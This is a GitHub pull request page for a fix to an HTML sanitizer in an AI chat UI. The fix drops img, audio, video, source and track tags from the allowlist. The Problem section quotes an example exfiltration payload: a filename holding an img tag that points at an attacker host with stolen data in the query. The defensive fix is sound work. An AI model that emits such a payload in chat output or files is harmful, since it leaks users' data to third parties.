Skip to content

fix: remove resource-loading tags from HTML sanitizer allowlist#483

Closed
chungjac wants to merge 4 commits intoaws:mainfrom
chungjac:fix/sanitize-resource-loading-tags
Closed

fix: remove resource-loading tags from HTML sanitizer allowlist#483
chungjac wants to merge 4 commits intoaws:mainfrom
chungjac:fix/sanitize-resource-loading-tags

Conversation

@chungjac
Copy link
Copy Markdown
Contributor

@chungjac chungjac commented May 7, 2026

Problem

Addresses: P388021229

The HTML sanitizer allowlist includes tags that can make unsolicited outbound HTTP requests when rendered in the browser. A malicious filename like <img src="https://attacker.com/exfil?data=secret">.txt passes through the sanitizer and renders as a live HTML element, allowing data exfiltration without requiring JavaScript execution.

Previous fixes (PRs #462, #466, #470) addressed iframe, embed, object, and event handler XSS vectors, but img and other resource-loading tags remained in the allowlist.

Solution

Remove all tags capable of making unsolicited network requests from AllowedTags:

  • img — fetches src URL automatically
  • audio — may preload src URL
  • video — may preload src/poster URL
  • source — fetches src when inside audio/video/picture
  • track — fetches subtitle/caption src

None of these tags serve a legitimate purpose in LLM chat response rendering. The customRenderer path (IDE-controlled, not attacker-controlled) is unaffected since it constructs DOM elements directly.

Also updated the example app which referenced type: 'img' (now invalid in the union type).

Testing

  • TypeScript compilation passes with no errors
  • Unit tests pass locally

License

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Remove img, audio, video, source, and track from AllowedTags to prevent
unsolicited outbound HTTP requests from LLM response content. These tags
can fetch attacker-controlled URLs when rendered, enabling data
exfiltration without requiring JS execution.
@chungjac chungjac requested a review from a team as a code owner May 7, 2026 18:51
chungjac added 3 commits May 7, 2026 12:00
Update test data and assertions to reflect img tag removal from the
sanitizer allowlist. Remove base64 image from test markdown, remove img
element assertion, and recalculate codeReference offset.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants